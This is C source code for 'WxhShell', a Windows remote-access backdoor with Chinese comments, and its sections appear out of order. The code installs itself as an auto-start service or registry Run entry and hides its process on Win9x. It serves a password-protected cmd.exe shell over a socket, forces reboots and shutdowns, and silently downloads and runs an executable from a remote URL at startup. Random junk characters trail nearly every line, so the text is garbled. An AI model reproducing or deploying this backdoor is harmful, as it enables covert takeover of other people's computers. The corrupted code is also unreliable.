    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \tt'm\_  
    else { SPy3~Db-o  
    closesocket(wsh); Zy$Lrr!  
    ExitThread(0); 2PC5^Ni/9@  
    } \d68-JS@~  
    break; p,#6 @*  
    } ;"7/@&M\m  
  // 获取shell ^KHLBSc:  
  case 's': { -Q[g/%  
    CmdShell(wsh); 9{J?HFw*;  
    closesocket(wsh); U~is-+Uq  
    ExitThread(0); Y^lQX~I2{  
    break; Ygj6(2  
  } 3A0_C?E  
  // 退出 fp !:u  
  case 'x': { /5a;_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^" 6f\  
    CloseIt(wsh); XCPb9<L  
    break; a|x8=H  
    } T&}Ye\%  
  // 离开 V:^H4WvL\W  
  case 'q': { u^Sv#K X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ]6~k4  
    closesocket(wsh); W7e4pR?w  
    WSACleanup(); Y}1 P~  
    exit(1); h)B!L Ar  
    break; CyTFb$Z  
        } )mD \d|7f  
  } `ut)+T V  
  } }brr ) )  
_ VKgs]Y  
  // 提示信息 edN8-P(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z-Hkz  
} (&Q)EBdm  
  } H1UL.g%d=  
I)[B9rbe  
  return; !A-;NGxE  
} |HgfV@Han  
uB+9dQ  
// shell模块句柄 QT}iaeC1i  
int CmdShell(SOCKET sock) &-F"+v,+  
{ *,jqE9:O  
STARTUPINFO si; 5Bj77?Z  
ZeroMemory(&si,sizeof(si)); MSB%{7'o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x-~-nn\O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pI^=B-7  
PROCESS_INFORMATION ProcessInfo; nZW4}~0j  
char cmdline[]="cmd"; >\\5"S f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vu|dV\N0*  
  return 0; 7+8bL{  
} sFx$>:$  
%Rn:G K  
// 自身启动模式  z\$;'  
int StartFromService(void) |0w~P s  
{ mVrKz  
typedef struct \9jpCNdJ  
{ "'aqb~j^  
  DWORD ExitStatus; WB;J1TpM7  
  DWORD PebBaseAddress; ,?w!5N;iRO  
  DWORD AffinityMask; ![Hhxu  
  DWORD BasePriority; 7K !GK  
  ULONG UniqueProcessId; 7,su f }=  
  ULONG InheritedFromUniqueProcessId; Su4h'&xx  
}   PROCESS_BASIC_INFORMATION; G-8n  
rgT%XhUS6f  
PROCNTQSIP NtQueryInformationProcess; /'`6 ; uRN  
7jR7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rG5i-'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ys+N,:#R  
;qG1r@o  
  HANDLE             hProcess; V<W02\Hs  
  PROCESS_BASIC_INFORMATION pbi; 5=.7\#D  
yTj p-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uXP- J]>  
  if(NULL == hInst ) return 0; WhenwQT  
scmto cm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }!knU3J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aKOf;^@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,E]|\_]  
FLEg0/m0  
  if (!NtQueryInformationProcess) return 0; m`a>,%}P"  
f-s~Q 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -g$O OJB6  
  if(!hProcess) return 0; _X?y ,#  
z=%IcSx;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &08 Tns"  
`x< 0A  
  CloseHandle(hProcess); &0i71!Oy  
* T\>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $uTlbAuv  
if(hProcess==NULL) return 0; h+ TB]  
K9}jR@jy$  
HMODULE hMod; 6i^0T  
char procName[255]; ~CulFxu  
unsigned long cbNeeded; (A|B@a!Y>  
o:f|zf> i<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |oFI[PE  
O{*GW0}55  
  CloseHandle(hProcess); /o'oF  
M+\rX1T  
if(strstr(procName,"services")) return 1; // 以服务启动 >pa\n9=Q^  
=Y:5,.U  
  return 0; // 注册表启动 @Z,qu2~|!  
} q>c+bo 6  
k\%,xf; x  
// 主模块 &7lk2Q\  
int StartWxhshell(LPSTR lpCmdLine) W|~q<},j  
{ Z!k5"\{0pE  
  SOCKET wsl;  ,&4zKm  
BOOL val=TRUE; !__D}k,  
  int port=0; @gY'YA8m  
  struct sockaddr_in door; EqYz,%I%  
0.3^   
  if(wscfg.ws_autoins) Install(); a?l_-Fi  
|zg=+  
port=atoi(lpCmdLine); *di&%&f  
.;cxhgU  
if(port<=0) port=wscfg.ws_port; e|35|I '  
\}n !yYh(  
  WSADATA data; 6@i|Kw(:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SG1&a:c+.  
es{cn=\ s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <)=3XEcb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |:\$n}K  
  door.sin_family = AF_INET; tc!!W9{69  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HarYV :  
  door.sin_port = htons(port); vRq=m8  
(xjqB{U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6MrZ6dz^  
closesocket(wsl); #R5we3&p  
return 1; ttTI#Fr2  
} `\nON  
70d] d+M|  
  if(listen(wsl,2) == INVALID_SOCKET) { AfuXu@UZ_/  
closesocket(wsl); nmTm(?yE  
return 1; SxnIX/]J  
} #IH<HL)t%e  
  Wxhshell(wsl); qZ `nZi  
  WSACleanup(); YLD-SS[/>  
6yy|V~5  
return 0; <=#lRZW[z  
)R8%wk?2  
} ab8oMi`z  
H^]Nmd8Q)  
// 以NT服务方式启动 ce 7Yr*ZB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  n.=e)*  
{ o",f(v&u%  
DWORD   status = 0; N`y}Gs  
  DWORD   specificError = 0xfffffff; "u .)X3  
yBJ/>SAcG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +e&m#d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xp<A@2wt?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~R"]LbeY  
  serviceStatus.dwWin32ExitCode     = 0; :|*Gnu  
  serviceStatus.dwServiceSpecificExitCode = 0; /8 e2dw: \  
  serviceStatus.dwCheckPoint       = 0; s ZlJ/_g  
  serviceStatus.dwWaitHint       = 0; OHx,*}N  
/&S~+~]n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a!TBk=P  
  if (hServiceStatusHandle==0) return; 8<E!rn-  
4r68`<mn[  
status = GetLastError(); 6M O|s1zk  
  if (status!=NO_ERROR) 3ybK6!g`[  
{ "#_)G7W+e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 94Kuy@0:+  
    serviceStatus.dwCheckPoint       = 0; 8@9hU`H8l  
    serviceStatus.dwWaitHint       = 0; 6R$ F =MB  
    serviceStatus.dwWin32ExitCode     = status; 9~LpO>-  
    serviceStatus.dwServiceSpecificExitCode = specificError; g&oc=f`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mf Wz@=0  
    return; ~%cSckE  
  } e; &{50VY  
CVyx lc>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  =F",D=  
  serviceStatus.dwCheckPoint       = 0; {[YqGv=fF  
  serviceStatus.dwWaitHint       = 0; s9ju/+fv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f.U0E6-(3N  
} z 'vdC  
se^NQ=  
// 处理NT服务事件,比如:启动、停止 s$SU vo1J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XvfcPI6  
{ q\ \8b{~  
switch(fdwControl) tEpIyC  
{ 1kz9>;Ud6  
case SERVICE_CONTROL_STOP: N(:EK  
  serviceStatus.dwWin32ExitCode = 0; XwHu:v'=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 K;'7  
  serviceStatus.dwCheckPoint   = 0; c%xED%X9  
  serviceStatus.dwWaitHint     = 0; F]URf&U  
  { KZp,=[t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ft~|  
  } +SZ%&  
  return; )V9Mcr*Ce6  
case SERVICE_CONTROL_PAUSE: l`~a}y"n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4U LJtM3  
  break; ?9wFV/  
case SERVICE_CONTROL_CONTINUE: SG(%d^x`R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fY)4]=L  
  break; `g4Ekp'Rp[  
case SERVICE_CONTROL_INTERROGATE: pQ[o3p!&9  
  break; gLXvw]  
}; V8KTNt%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FthXFxwx$  
} LP0;n\  
~I/>i&|M1  
// 标准应用程序主函数 :uU]rBMo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [t "_}t=w  
{ VrAXOUJw6  
TNX%_Q<  
// 获取操作系统版本 Hm.&f2|(  
OsIsNt=GetOsVer(); )$9C`d[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ecSdU>  
+[ZMrTW!0C  
  // 从命令行安装 d @^o/w8  
  if(strpbrk(lpCmdLine,"iI")) Install(); oneSgJ  
I;Z`!u:+  
  // 下载执行文件 [pRVZV  
if(wscfg.ws_downexe) { v ,G-k2$Qe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G]m[ S-  
  WinExec(wscfg.ws_filenam,SW_HIDE); *1ID`o  
} ;S{Ld1;  
]$?zT`>(F  
if(!OsIsNt) { m"?' hR2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ||*&g2Y  
HideProc(); A^= Hu,"e  
StartWxhshell(lpCmdLine); L_.xr ?  
} Vx\# +)4  
else ki*79d"$  
  if(StartFromService()) "I}'C^gP  
  // 以服务方式启动 DS[l,x  
  StartServiceCtrlDispatcher(DispatchTable); )=,9`+Zta  
else ,,wyydG  
  // 普通方式启动 N#-kk3!Z;  
  StartWxhshell(lpCmdLine); kERaY9L\  
69<rsp(p  
return 0; /RXk[m-  
} om*tdG  
]Nd'%M  
tx|"v|&e2  
56O<CgJF<  
=========================================== )z4kP09  
!5' 8a5  
a dz;N;rIY  
gqHH Hh  
3' :[i2[  
Bgo"JNM  
" -f|+  
=aCIaL&9Y  
#include <stdio.h> 00.iMmJ  
#include <string.h> YiI:uG!|D  
#include <windows.h> v&CO#vK5.  
#include <winsock2.h> ;2xXX,'R7  
#include <winsvc.h> ,mE]?XyO  
#include <urlmon.h> <76=H]h~  
K9z_=c+  
#pragma comment (lib, "Ws2_32.lib") H/v37%p7  
#pragma comment (lib, "urlmon.lib") *C:q _/  
HS5Ug'\446  
#define MAX_USER   100 // 最大客户端连接数 WKYA9BaR  
#define BUF_SOCK   200 // sock buffer |+4E 8;4_  
#define KEY_BUFF   255 // 输入 buffer 31o7R &v  
b$`4Nn|  
#define REBOOT     0   // 重启 ]B[/sqf  
#define SHUTDOWN   1   // 关机 Q'Jpsmwu  
^B"_b?b  
#define DEF_PORT   5000 // 监听端口 tWX+\ |  
b#\ k Z/W  
#define REG_LEN     16   // 注册表键长度 -~Z@,  
#define SVC_LEN     80   // NT服务名长度 i$LV44  
U0|j^.)  
// 从dll定义API m?R+Z6c[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U}vtVvx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u):Rw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1rm$@L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); omUl2C  
;ZqD60%\  
// wxhshell配置信息 CsST-qxg  
struct WSCFG { <4A(Z$ZX)  
  int ws_port;         // 监听端口 ywsz"/=@  
  char ws_passstr[REG_LEN]; // 口令 5-QvQ&eH.  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z]>e& N  
  char ws_regname[REG_LEN]; // 注册表键名 \8>N<B)  
  char ws_svcname[REG_LEN]; // 服务名 )>A%FL9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0 *Yivx6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C6T 9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nm :|C 3_I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kp &XX|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?k7/`g U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1 FIiX  
{*]= qSz  
}; '?!<I  
T?}=k{C]  
// default Wxhshell configuration =L; n8~{@y  
struct WSCFG wscfg={DEF_PORT, A`8}J4  
    "xuhuanlingzhe", ~zOU/8n ,F  
    1, o'}Z!@h  
    "Wxhshell", va*>q-QCr  
    "Wxhshell", ea[a)Z7#  
            "WxhShell Service", xyJgHbml  
    "Wrsky Windows CmdShell Service", <wGT s6  
    "Please Input Your Password: ", #( Yb lY  
  1, qP.VK?jF|  
  "http://www.wrsky.com/wxhshell.exe", );.<Yf{c  
  "Wxhshell.exe" qaSv]k.  
    }; s].Cx4VQ  
0#[Nfe*  
// 消息定义模块 [.#$hOsNR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'w$we6f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b8-^wJH!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1nM?>j%k  
char *msg_ws_ext="\n\rExit."; j~j V`>A  
char *msg_ws_end="\n\rQuit."; ne~#{q  
char *msg_ws_boot="\n\rReboot..."; GH)+yD[o  
char *msg_ws_poff="\n\rShutdown..."; MS^hsUj}  
char *msg_ws_down="\n\rSave to "; PL B=%[  
@m d^mss  
char *msg_ws_err="\n\rErr!"; w\Eve:  
char *msg_ws_ok="\n\rOK!"; E rymx$@P  
C g,w6<7  
char ExeFile[MAX_PATH]; %RF   
int nUser = 0; BO cEL%+  
HANDLE handles[MAX_USER]; )UU6\2^  
int OsIsNt; vH:+  
KB-#):'  
SERVICE_STATUS       serviceStatus; HQ#L |LN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ha'm`LiX  
XXdMppoR  
// 函数声明 9*Mg<P"  
int Install(void); eMMiSO!3  
int Uninstall(void); -8J@r2\  
int DownloadFile(char *sURL, SOCKET wsh); mp$II?hZ*  
int Boot(int flag); Rn ^N+3o'M  
void HideProc(void); Mh B=+S[@  
int GetOsVer(void); ?=o]Wx0(9  
int Wxhshell(SOCKET wsl); HOI`F3#XI  
void TalkWithClient(void *cs); ,3TD $2};.  
int CmdShell(SOCKET sock); kR|DzB7  
int StartFromService(void); 2F)OyE  
int StartWxhshell(LPSTR lpCmdLine); .\\#~r`t3  
/|^^v DL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jx[e{o)o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )uJ`E8>-  
WQ`P^5e  
// 数据结构和表定义 Z"&ODVP  
SERVICE_TABLE_ENTRY DispatchTable[] = wx7>0[zE  
{ KD<`-b)7<  
{wscfg.ws_svcname, NTServiceMain}, JZ0+VB-3U  
{NULL, NULL} ^rb7`s#G  
}; R_&V.\e_  
IZ ha* 7  
// 自我安装 T{2//$T?  
int Install(void) jtCob'n8  
{ <^$b1<@  
  char svExeFile[MAX_PATH]; GdwHm  
  HKEY key; =7Gi4X%  
  strcpy(svExeFile,ExeFile); fH{$LjH(  
xo3)ds X  
// 如果是win9x系统,修改注册表设为自启动 X7!A(q+h  
if(!OsIsNt) { *VAi!3Rx;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i; uM!d}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Awzm )Q  
  RegCloseKey(key); ;{u#~d}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( I~XwP&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8#3cmpx4  
  RegCloseKey(key); b8Ad*f\  
  return 0; _E-GHj>k z  
    } SQCuY<mD  
  } :7]R2JP  
} g5]DA.&(  
else { 1Ee>pbd  
C8SNSeg  
// 如果是NT以上系统,安装为系统服务 dNmX<WXG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n m$G4Q  
if (schSCManager!=0) 6/C  
{ C_&tOt  
  SC_HANDLE schService = CreateService NWcF9z%@  
  ( D'=`O6pK  
  schSCManager, JIkmtZv  
  wscfg.ws_svcname, :zZM&r>  
  wscfg.ws_svcdisp, wn.0U  
  SERVICE_ALL_ACCESS, F= lj$?4{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  5Ww\h  
  SERVICE_AUTO_START, 7}?z=LHb3  
  SERVICE_ERROR_NORMAL, +DDvM;31w  
  svExeFile, 6H9]]Unju  
  NULL, [IW7]Fv<F  
  NULL, dv>zK#!  
  NULL, iTyApLV  
  NULL, 1&WFs6  
  NULL A~t7I{`  
  ); cE#Y,-f  
  if (schService!=0) }jXUd=.Nu  
  { l0,O4k2'  
  CloseServiceHandle(schService); nP /$uj  
  CloseServiceHandle(schSCManager); qd;f]ndo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N{@ eV][Q  
  strcat(svExeFile,wscfg.ws_svcname); DA\O,^49h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,4UJ| D=J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3`I_  
  RegCloseKey(key); 0<;B2ce  
  return 0;  vpMv  
    } b(,[g>xH   
  } q3:' 69  
  CloseServiceHandle(schSCManager); m/h0J03'T  
} *GMRu,u2  
} e$h\7i:(  
8gdOQ=a  
return 1; G 3x1w/L  
} k#M W>  
:@L5=2Z+  
// 自我卸载 [O'p&j@  
int Uninstall(void) ]YKWa"  
{ y->iv%  
  HKEY key; h Nwb.[  
%dQX d ]  
if(!OsIsNt) { w,$17+]3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @ vudeaup  
  RegDeleteValue(key,wscfg.ws_regname); [Hf FC3U  
  RegCloseKey(key); YEj U3^@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LdL\B0^l  
  RegDeleteValue(key,wscfg.ws_regname); djp(s$:{4  
  RegCloseKey(key); V19*~v=u  
  return 0; C\[UAxZ3X  
  } &kE|~i:=,9  
} oE&[W >,x  
} hkxZ=l  
else { bL%)k61G_v  
t$2{U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R&p53n  
if (schSCManager!=0) XDQ1gg`  
{ :4TcCWG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t~M_NEPxV  
  if (schService!=0) $P~a   
  { :'=C/AL  
  if(DeleteService(schService)!=0) { i=UJ*c  
  CloseServiceHandle(schService); }mK_d9dx  
  CloseServiceHandle(schSCManager); 4#uoPkLK  
  return 0; o%iTYR :x  
  } G[ea@u$?  
  CloseServiceHandle(schService); /cn_|DwN5  
  } k[m-"I%ZFX  
  CloseServiceHandle(schSCManager); #Ba'k6b  
} Y_B( R  
} j.*}W4`Q_  
G_@H:4$3  
return 1; 04TV. /uA  
} 9|,AhyhO  
C09@2M'  
// 从指定url下载文件 5=\b+<pE  
int DownloadFile(char *sURL, SOCKET wsh) R!ij CF\  
{ |V5H(2/nk  
  HRESULT hr; o=}?aC3I  
char seps[]= "/"; ho. a93  
char *token; 4{=Em5`HbO  
char *file; gB#t"s)  
char myURL[MAX_PATH]; (A_9;uL^_  
char myFILE[MAX_PATH]; N 2\,6<  
1^mO"nX  
strcpy(myURL,sURL); l0f6Lxfz  
  token=strtok(myURL,seps); $I%]jAh6  
  while(token!=NULL) .*{LPfD|  
  { H{If\B%1t  
    file=token; 3ly|y{M",  
  token=strtok(NULL,seps); f QdQ[  
  } pe8MG(V  
a>6p])Wh  
GetCurrentDirectory(MAX_PATH,myFILE); \uH;ng|m  
strcat(myFILE, "\\"); Rh|&{Tf  
strcat(myFILE, file); e"Z~%,^A  
  send(wsh,myFILE,strlen(myFILE),0); z!tHn#  
send(wsh,"...",3,0); t<-Iiq+tL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $= gv  
  if(hr==S_OK) d>f5T l\E  
return 0; ~rD* Y&#.  
else VlH9ap  
return 1; MLl:)W*  
pmZr<xs   
} xfilxd  
\BA_PyS?W+  
// 系统电源模块 1x]G/I*  
int Boot(int flag) { .AFg/Z  
{ 6aL`^^  
  HANDLE hToken; &f$jpIyVX  
  TOKEN_PRIVILEGES tkp; !#QD;,SE+  
:Fh* 4 &Z  
  if(OsIsNt) { LF8B5<[O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H)Yv_gT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AyWCb  
    tkp.PrivilegeCount = 1; 2B|3`trY4x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #*fB~Os:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iPao54Z  
if(flag==REBOOT) { YB[P`Muj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LS;kq',  
  return 0; Y) Z>Bi  
} nZ]d[  
else { *ZHk^d:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V'8 (}(s/  
  return 0; %H54^Z<y  
} `y4+OXZ^  
  } O1QHG'00  
  else { iIg_S13  
if(flag==REBOOT) { Z"A:^jZ<s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !HFwQGP.Y  
  return 0; 7J\I%r  
} Z|u_DaSrr|  
else { |e!Sm{#!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r(RJ&\ !  
  return 0; bR.T94-8y  
} NoI=t  
} 8I*fPf  
x\lua  
return 1; &" =inkh  
} v+Hu=RZE  
6d,"GT  
// win9x进程隐藏模块 f?)qZPM  
void HideProc(void) =^6]N~*,D  
{ -k'=s{iy  
6;ICX2Wq'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D+RG,8Ht  
  if ( hKernel != NULL ) W /IyF){  
  { 8<xJmcTEwO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3+IS7ATn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~{xY{qL  
    FreeLibrary(hKernel); $OmtN"  
  } p[cC%3  
<~3@+EEM  
return; { aU~[5L3(  
} FG?B:Zl%T  
U]_1yX  
// 获取操作系统版本 N52N ^X>  
int GetOsVer(void) FJ/kumq  
{ % 30&6"  
  OSVERSIONINFO winfo; gZ 9<H q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CpA=DnZ  
  GetVersionEx(&winfo); ~s+\Y/@A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hc}(+wQN%  
  return 1; #;+GNF}0mG  
  else Bdf3@sbM]  
  return 0; NVP~`sxiZ  
} 07n=H~yU  
W Qe>1   
// 客户端句柄模块 5'@}8W3b  
int Wxhshell(SOCKET wsl) yVSJn>l!  
{ M^H357r%  
  SOCKET wsh; (xMAo;s_  
  struct sockaddr_in client; %ePInpb  
  DWORD myID; /|Zk$q.\  
wqJH  
  while(nUser<MAX_USER) VsFRG;:\U  
{ t~e.LxN  
  int nSize=sizeof(client); [(]uin+9Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2: fSn&*/>  
  if(wsh==INVALID_SOCKET) return 1; (T,ST3{*k  
IU&n!5d$)|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (.Sj"6+  
if(handles[nUser]==0) .7{,u1N'  
  closesocket(wsh); k: D<Q  
else po!0j+r3  
  nUser++; L\!Pa+Iod  
  } *r=6bpi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <.#i3!  
fi`*r\  
  return 0; C4ge_u#  
} ``U>9S"p)  
MK,#"Ty}zK  
// 关闭 socket ONg_3vD{  
void CloseIt(SOCKET wsh) u`7\o~$  
{ (FP- K  
closesocket(wsh); !M\8k$#"n  
nUser--; [8![UcMq  
ExitThread(0); p%8y!^g  
} / F9BbG{  
*IfLoKS'  
// 客户端请求句柄 ] vQn*T"^  
void TalkWithClient(void *cs) kk& ([ xqU  
{ <$R'y6U :  
\vsfY   
  SOCKET wsh=(SOCKET)cs; "p0e6Z=  
  char pwd[SVC_LEN]; R FWJ ZN"  
  char cmd[KEY_BUFF]; o^H.uBO{  
char chr[1]; OUQySac  
int i,j; 0;KjP?5  
1)w^.8f  
  while (nUser < MAX_USER) { /U+0T>(HS  
Zg_ fec~6q  
if(wscfg.ws_passstr) { m>DBO|`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DOyYy~Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v:|_!+g:  
  //ZeroMemory(pwd,KEY_BUFF); )$XcO]  
      i=0; 274F+X  
  while(i<SVC_LEN) { ?31#:Mg6g+  
7 wH9w  
  // 设置超时 /c6:B5G  
  fd_set FdRead; ^|gD;OED7O  
  struct timeval TimeOut; ^,*!Qk<c  
  FD_ZERO(&FdRead); M*$#j|  
  FD_SET(wsh,&FdRead); tP^2NTs%]  
  TimeOut.tv_sec=8; Z0 @P1  
  TimeOut.tv_usec=0; S8 .1%sw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yp9vgUs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n Hz Xp:"  
'9.L5*wh]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !W^P|:Qt  
  pwd=chr[0]; v4OroG=^  
  if(chr[0]==0xd || chr[0]==0xa) { bdbTK8-  
  pwd=0; t}w<xe  
  break; b9X"p*'p  
  } b8@?fC+tm  
  i++; gw O]U=Y  
    } +~Wg@   
m -]E|  
  // 如果是非法用户,关闭 socket %=e^MN1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K+|G9  
} }xJ ).D  
wN Mf-~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qa>t$`o`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 21_sg f?  
&!N9.e:-]  
while(1) { %0&59q]LM  
J;wDvt]]1  
  ZeroMemory(cmd,KEY_BUFF); M-7^\wXTA  
!-B$WAV  
      // 自动支持客户端 telnet标准   /3#)  
  j=0; K-<<s  
  while(j<KEY_BUFF) { #:[^T,YD0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q|h#J}\  
  cmd[j]=chr[0]; x`n7D  
  if(chr[0]==0xa || chr[0]==0xd) { >= O5=\`  
  cmd[j]=0; 1#}}:  
  break; &65I 6  
  } e>J.r("f  
  j++; @KJ~M3d0l  
    } E/OfkL*\  
((Uw[8#2 `  
  // 下载文件 SJ*qgI?}T  
  if(strstr(cmd,"http://")) { \l-JU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tqk^)c4FF(  
  if(DownloadFile(cmd,wsh)) *E.uqu>I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b@X+vW{S  
  else ?hBjq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); erlg\-H   
  } "vvv@sYxi  
  else { Y+)qb);  
NWue;u^  
    switch(cmd[0]) { *{x8@|K8  
  7/e25LS!`U  
  // 帮助 $&Lw 2 c0  
  case '?': { <]Btx;}  
